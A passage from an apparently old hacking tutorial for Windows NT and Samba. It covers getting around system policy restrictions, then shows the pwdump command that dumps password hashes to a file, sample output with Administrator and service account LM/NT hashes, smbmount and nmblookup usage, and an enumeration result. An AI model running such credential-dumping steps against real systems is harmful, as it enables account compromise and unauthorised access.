  715. This is rather obvious but I will include it as it is a valid system policy restriction. Navigate your Hard Disk using My Computer, winfile or NT Explorer. Double-click on the program you wish to run. Duh!
  716. System Policies that I have NOT found a workaround for yet: If your display settings are restricted in control panel. If registry editing has been disabled.
  717.  
  718. PWDUMP.EXE
  719. When running pwdump.exe it is a good idea to echo the results to a file. Otherwise, the results are just dumped to the screen.
  720. pwdump >pwd.txt
  721.  
  722. NOTE: This is the pwdump from the webserver the Lan Manager password is set to "password".
  723.  
  724. Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:Built-in account for administering the computer/domain::
  725. Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:Built-in account for guest access to the computer/domain::
  726. STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253:::
  727. ketan:1005:********************************:********************************:::
  728. mari:1006:********************************:********************************:::
  729. meng:1007:********************************:********************************:::
  730. IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8C24B:Internet Guest Account,Internet Server Anonymous Access::
  731.  
  732. Some SAMBA Commands:
  733. smbmount is similar to the net use command.
  734.  
  735. usage: smbmount //server/service mount-point [options]
  736. Version 2.0.2
  737.  
  738. -p port        Port to connect to (used only for testing)
  739. -m max_xmit    max_xmit offered (used only for testing)
  740.  
  741. -s servername  Netbios name of server
  742. -c clientname  Netbios name of client
  743. -I machinename The hostname of the machine
  744. -U username    Username sent to server
  745. -D domain      Domain name
  746. -u uid         uid the mounted files get
  747. -g gid         gid the mounted files get
  748. -f mode        permission the files get (octal notation)
  749. -d mode        permission the dirs get (octal notation)
  750. -C             Don't convert password to uppercase
  751. -P password    Use this password
  752. -n             Do not use any password
  753.                If neither -P nor -n are given, you are
  754.                asked for a password.
  755. -h             print this help text
  756.  
  757. NMBLOOKUP is the equivalent of nbtstat.
  758.  
  759. Usage: nmblookup [-M] [-B bcast address] [-d debuglevel] name
  760. Version 1.9.18p7
  761.     -d debuglevel         set the debuglevel
  762.     -B broadcast address  the address to use for broadcasts
  763.     -U unicast   address  the address to use for unicast
  764.     -M                    searches for a master browser
  765.     -R                    set recursion desired in packet
  766.     -S                    lookup node status as well
  767.     -r                    Use root port 137 (Win95 only replies to this)
  768.     -A                    Do a node status on <name> as an IP Address
  769.  
  770. Here is an example of nmblookup results, similar to nbtstat of course.
  771. No interface found for address 0.0.0.0
  772. Sending queries to 0.255.255.255
  773. Looking up status of 207.98.201.199
  774. received 7 names
  775.     SATAN           <00> -         B <ACTIVE> 
  776.     SATAN           <20> -         B <ACTIVE> 
  777.     INet~Services   <1c> - <GROUP> B <ACTIVE> 
  778.     WORKGROUP       <00> - <GROUP> B <ACTIVE> 
  779.     IS~SATAN        <00> -         B <ACTIVE> 
  780.     SATAN           <03> -         B <ACTIVE> 
  781.     HAX0R           <03> -         B <ACTIVE> 
  782. num_good_sends=0 num_good_receives=0
  783.  
  784.  
  785.